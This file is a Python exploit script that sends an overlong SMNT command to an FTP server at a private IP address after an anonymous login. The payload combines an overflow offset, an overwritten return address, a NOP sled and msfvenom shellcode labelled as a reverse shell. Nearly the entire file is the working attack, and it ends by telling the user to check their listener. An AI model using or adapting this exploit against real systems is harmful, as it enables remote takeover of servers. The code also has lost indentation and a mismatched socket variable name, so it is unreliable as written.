import socket
import time

target_ip = "192.168.1.132"
target_port = 21

# Reverse shell payload generated with msfvenom
buf = b""
buf += b"\xba\x95\x9a\xbb\x3f\xdd\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x31\xc9\xb1\x52\x31\x50\x12\x03\x50\x12\x83\x55"
buf += b"\x9e\x59\xca\xa9\x77\x1f\x35\x51\x88\x40\xbf\xb4"
buf += b"\xb9\x40\xdb\xbd\xea\x70\xaf\x93\x06\xfa\xfd\x07"
buf += b"\x9c\x8e\x29\x28\x15\x24\x0c\x07\xa6\x15\x6c\x06"
buf += b"\x24\x64\xa1\xe8\x15\xa7\xb4\xe9\x52\xda\x35\xbb"
buf += b"\x0b\x90\xe8\x2b\x3f\xec\x30\xc0\x73\xe0\x30\x35"
buf += b"\xc3\x03\x10\xe8\x5f\x5a\xb2\x0b\xb3\xd6\xfb\x13"
buf += b"\xd0\xd3\xb2\xa8\x22\xaf\x44\x78\x7b\x50\xea\x45"
buf += b"\xb3\xa3\xf2\x82\x74\x5c\x81\xfa\x86\xe1\x92\x39"
buf += b"\xf4\x3d\x16\xd9\x5e\xb5\x80\x05\x5e\x1a\x56\xce"
buf += b"\x6c\xd7\x1c\x88\x70\xe6\xf1\xa3\x8d\x63\xf4\x63"
buf += b"\x04\x37\xd3\xa7\x4c\xe3\x7a\xfe\x28\x42\x82\xe0"
buf += b"\x92\x3b\x26\x6b\x3e\x2f\x5b\x36\x57\x9c\x56\xc8"
buf += b"\xa7\x8a\xe1\xbb\x95\x15\x5a\x53\x96\xde\x44\xa4"
buf += b"\xd9\xf4\x31\x3a\x24\xf7\x41\x13\xe3\xa3\x11\x0b"
buf += b"\xc2\xcb\xf9\xcb\xeb\x19\xad\x9b\x43\xf2\x0e\x4b"
buf += b"\x24\xa2\xe6\x81\xab\x9d\x17\xaa\x61\xb6\xb2\x51"
buf += b"\xe2\x79\xea\x58\x76\x11\xe9\x5a\x67\xbe\x64\xbc"
buf += b"\xed\x2e\x21\x17\x9a\xd7\x68\xe3\x3b\x17\xa7\x8e"
buf += b"\x7c\x93\x44\x6f\x32\x54\x20\x63\xa3\x94\x7f\xd9"
buf += b"\x62\xaa\x55\x75\xe8\x39\x32\x85\x67\x22\xed\xd2"
buf += b"\x20\x94\xe4\xb6\xdc\x8f\x5e\xa4\x1c\x49\x98\x6c"
buf += b"\xfb\xaa\x27\x6d\x8e\x97\x03\x7d\x56\x17\x08\x29"
buf += b"\x06\x4e\xc6\x87\xe0\x38\xa8\x71\xbb\x97\x62\x15"
buf += b"\x3a\xd4\xb4\x63\x43\x31\x43\x8b\xf2\xec\x12\xb4"
buf += b"\x3b\x79\x93\xcd\x21\x19\x5c\x04\xe2\x39\xbf\x8c"
buf += b"\x1f\xd2\x66\x45\xa2\xbf\x98\xb0\xe1\xb9\x1a\x30"
buf += b"\x9a\x3d\x02\x31\x9f\x7a\x84\xaa\xed\x13\x61\xcc"
buf += b"\x42\x13\xa0"

# Exploit parameters
offset = b"A" * 2006
eip = b"\xd9\x2f\xe3\x74"
nops = b"\x90" * 20
payload = offset + eip + nops + buf

try:
print("[+] Connecting to {}:{} ... ".format(target_ip, target_port))
S = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

banner = s.recv(1024)
print("[+] Banner: {}".format(banner.decode(errors='ignore').strip()))

s.send(b"USER anonymous\r\n")
time.sleep(1)
s.recv(1024)

s.send(b"PASS anonymous\r\n")
time.sleep(1)
s.recv(1024)

print("[+] Sending malicious payload via SMNT command ... ")
s.send(b"SMNT " + payload + b"\r\n")
time.sleep(1)

print("[+] Exploit sent! Check your listener.")
s.close()

except Exception as e:
print("[-] Exploit failed: {}".format(str(e)))